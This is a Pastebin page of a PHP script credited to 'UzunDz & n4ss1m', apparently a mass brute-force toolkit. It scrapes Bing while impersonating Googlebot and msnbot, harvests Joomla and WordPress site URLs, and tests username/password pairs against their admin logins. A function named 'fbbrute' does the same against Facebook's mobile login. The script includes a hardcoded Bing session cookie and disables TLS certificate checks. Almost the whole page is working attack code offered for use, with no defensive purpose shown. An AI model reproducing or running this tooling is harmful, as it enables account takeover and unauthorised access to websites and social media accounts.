Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /*
- * by UzunDz & n4ss1m.
- */
- function source($site, $agent , $cookie=0){
- if(!$agent){
- $agent = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)";
- }
- $curl=curl_init();
- curl_setopt ($curl, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt ($curl, CURLOPT_URL, $site);
- if($cookie=1){
- curl_setopt ($curl, CURLOPT_COOKIE, "SRCHD=SM=1&D=3450822&MS=3450822&AF=NOFORM; SRCHUID=V=2&GUID=A4AF59E326E94F90A2D72D9E3BDD6BFB; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20140724; SRCHHPGUSR=CW=1349&CH=634&NEWWND=0&NRSLT=50&SRCHLANG=; _U=1Q4LfZxrNPnayJULjaTLuHR0j4JIaP9-pm4aDVNG6iK5noHEfNMbzAGC_FE7Ago-zqBvDBYuhSvm29GlgesroDRmIF3FIuImOpDg_CwZeJwxA0Y2S59bGt-yPYmHP2vY5; s_vnum=1409598331287%26vn%3D1; s_nr=1407006801318;");
- }
- curl_setopt ($curl, CURLOPT_SSL_VERIFYPEER, 0);
- curl_setopt ($curl, CURLOPT_COOKIEFILE, getcwd().'/cookie.txt');
- curl_setopt ($curl, CURLOPT_COOKIEJAR, getcwd().'/cookie.txt');
- curl_setopt ($curl, CURLOPT_USERAGENT, $agent);
- curl_setopt ($curl, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt ($curl, CURLOPT_TIMEOUT, 20);
- $exec=curl_exec($curl);
- curl_close($curl);
- return $exec;
- }
- function mbing($what){
- for($i = 1; $i <= 2000; $i += 10){
- $data = source("http://www.bing.com/search?q=".urlencode($what)."&first=$i", 'Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16',1);
- preg_match_all('#<h2 class="sb_h3 cttl"><a href="(https?://.*?)" _ctf="rdr_T"#',$data, $links);
- foreach($links[1] as $link){
- $allLinks[] = $link;
- }
- if(!preg_match('#class="sb_pagN"#',$data)) break;
- }
- if(!empty($allLinks) && is_array($allLinks)){
- return array_unique($allLinks);
- }
- }
- function bing($what){
- for($i = 1; $i <= 2000; $i += 10){
- $source = source("http://www.bing.com/search?q=".urlencode($what)."&first=$i" , 'msnbot/1.0 (+http://search.msn.com/msnbot.htm)',1);
- preg_match_all('#;a=(.*?)" h="#',$source, $links);
- foreach($links[1] as $link){
- $allLinks[] = $link;
- }
- if(!preg_match('#"sw_next"#',$source)) break;
- }
- if(!empty($allLinks) && is_array($allLinks)){
- return array_unique(array_map("urldecode", $allLinks));
- }
- }
- function JO($site, $user, $pass){
- $token = extract_token($site);
- $curl=curl_init();
- curl_setopt ($curl, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt ($curl, CURLOPT_SSL_VERIFYPEER, 0);
- curl_setopt ($curl, CURLOPT_URL, $site."/administrator/index.php");
- curl_setopt ($curl, CURLOPT_COOKIEFILE, 'cookie.txt');
- curl_setopt ($curl, CURLOPT_COOKIEJAR, 'cookie.txt');
- curl_setopt ($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)');
- curl_setopt ($curl, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt ($curl, CURLOPT_POST, 1);
- curl_setopt ($curl, CURLOPT_POSTFIELDS, 'username='.$user.'&passwd='.$pass.'&lang=&option=com_login&task=login&'.$token.'=1');
- curl_setopt ($curl, CURLOPT_TIMEOUT, 20);
- $source = curl_exec($curl);
- return (eregi('com_config', $source)) ? true:false;
- }
- function WP($url, $user, $pass){
- $curl = curl_init();
- $to = clnurl($url)."/wp-admin/";
- curl_setopt ($curl, CURLOPT_URL, $url."/wp-login.php");
- curl_setopt ($curl, CURLOPT_SSL_VERIFYPEER, 0);
- curl_setopt ($curl, CURLOPT_USERAGENT, "Googlebot/2.1 (+http://www.google.com/bot.html)");
- curl_setopt ($curl, CURLOPT_COOKIE, "wordpress_test_cookie=WP+Cookie+check");
- curl_setopt ($curl, CURLOPT_COOKIEFILE, getcwd().'/cookie.txt');
- curl_setopt ($curl, CURLOPT_COOKIEJAR, getcwd().'/cookie.txt');
- curl_setopt ($curl, CURLOPT_POST, 1);
- curl_setopt ($curl, CURLOPT_POSTFIELDS, "log=".$user."&pwd=".cln($pass)."&wp-submit=Log+In&redirect_to=".$to."&testcookie=1");
- curl_setopt ($curl, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt ($curl, CURLOPT_FOLLOWLOCATION, 1);
- $source = curl_exec($curl);
- //print_r($source);
- return (preg_match('/logout/', $source)) ? true:false;
- }
- function fbbrute($user,$pass){
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, "https://m.facebook.com/login.php?login_attempt=1");
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
- curl_setopt($ch, CURLOPT_POSTFIELDS, "email={$user}&pass={$pass}");
- curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/36.0.1985.125");
- $login = curl_exec($ch);
- return (eregi('class="s t i u"',$login)) ? true:false;
- }
- function jos_site($site){
- return (preg_match("/option/",$site)) ? preg_replace("#(.*?)/index(.*)|(.*?)/?option(.*)#","$1/",$site):false;
- }
- function wp_site($site){
- return (eregi("wp-content",$site) or eregi("page_id=",$site)) ? str_replace("?","",preg_replace("#(.*?)/(\?page_id=|wp-content)(.*)#","$1/",$site)):false;
- }
- function site($link){
- return str_replace("www.","",parse_url($link, PHP_URL_HOST));
- }
- function extract_token($site){
- $source = source("$site/administrator/index.php");
- if($source){
- if(preg_match('#type="hidden" name="([0-9a-f]{32})" value="1"#si' , $source, $token)){
- return $token[1];
- }else {
- echo "$site : Not supported Joomla<br />";
- }
- }else{
- echo "$site : Not Joomla<br />";
- }
- }
- function refrech($url,$num=1){
- echo '<meta http-equiv="Refresh" content="'.$num.'; url='.$url.'">';
- }
- function error(){
- echo "<div class='error center' style='margin:99px 0px !important;'>This Page not found</div>";
- }
- function cln($value){
- return str_replace(array("\n", "\r"), "", $value);
- }
- function cln_arr($array){
- return @array_filter(@array_unique($array));
- }
- function clnurl($url){
- return preg_replace("'(https?://.*)/'", "$1", $url);
- }
- function undir($dir=array()){
- return array_diff($dir,array('..', '.'));
- }
- function vbflush(){
- static $gzip_handler = null;
- if ($gzip_handler === null){
- $gzip_handler = false;
- $output_handlers = ob_list_handlers();
- if (is_array($output_handlers)){
- foreach ($output_handlers AS $handler){
- if ($handler == 'ob_gzhandler'){
- $gzip_handler = true;
- break;
- }
- }
- }
- }
- if ($gzip_handler){
- // forcing a flush with this is very bad
- return;
- }
- if (ob_get_length() !== false){
- @ob_flush();
- }
- flush();
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement